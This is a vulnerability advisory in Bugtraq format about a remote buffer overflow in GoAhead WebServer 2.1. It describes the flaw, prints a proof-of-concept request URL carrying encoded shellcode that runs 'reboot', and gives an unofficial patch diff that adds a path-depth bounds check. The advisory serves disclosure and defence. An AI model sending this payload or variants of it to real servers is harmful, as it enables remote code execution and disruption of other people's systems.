GoAhead WebServer Remote Arbitrary Command Execution Vulnerability

Bugtraq ID:	5464
Class:	Boundary Condition Error
CVE:
Remote:	Yes
Local:	No
Published:	Aug 14 2002 12:00AM
Updated:	Aug 14 2002 12:00AM
Credit:	Vulnerability discovery credited to an anonymous source.
Vulnerable:	GoAhead Software GoAhead WebServer 2.1 - Linux kernel 2.3 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows CE 3.0 - Microsoft Windows CE 2.0 - Microsoft Windows NT 4.0
Not Vulnerable:

GoAhead WebServer Remote Arbitrary Command Execution Vulnerability

GoAhead WebServer is an Open Source embedded web server which supports Active Server Pages, embedded javascript, and SSL authentication and encryption. It is available for a variety of platforms including Microsoft Windows and Linux variant operating systems.

It has been discovered that a buffer overflow exists in GoAhead WebServer. This vulnerability could make it possible for a remote user to execute arbitrary code with the privileges of the web server process. This could lead to an attacker gaining remote access to a vulnerable host.

GoAhead WebServer Remote Arbitrary Command Execution Vulnerability

Contributed by an anonymous source:

http://www.example.com/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/%eb%1f%5e%89%76%08%31%c0%88%46%07%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%db%89%d8%40%cd%80%e8%dc%ff%ff%ffreboot

GoAhead WebServer Remote Arbitrary Command Execution Vulnerability

Solution:
An unofficial source code fix has been provided. SecurityFocus has not tested the provided third-party fix.

diff -u ws212-020612/default.c ws212-020612gby/default.c
--- ws212-020612/default.c Wed Jun 12 19:38:48 2002
+++ ws212-020612gby/default.c Wed Jun 19 16:34:24 2002
@@ -204,9 +204,11 @@
* is bad.
*/

+#define MAXDIRPATH (64)
+
int websValidateUrl(webs_t wp, char_t *path)
{
- char_t *parts[64]; /* Array of ptr's to URL parts */
+ char_t *parts[MAXDIRPATH]; /* Array of ptr's to URL parts */
char_t *token, *dir, *lpath;
int i, len, npart;

@@ -241,7 +243,11 @@
} else if (gstrcmp(token, T(".")) != 0) {
parts[npart] = token;
len += gstrlen(token) + 1;
- npart++;
+ if(++npart >= MAXDIRPATH) {
+ /* Damn script kitties... */
+ bfree(B_L, path);
+ return -1;
+ }
}
token = gstrtok(NULL, T("/"));
}

---
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

GoAhead WebServer Remote Arbitrary Command Execution Vulnerability

References:

• GoAhead WebServer Product Homepage (GoAhead Software)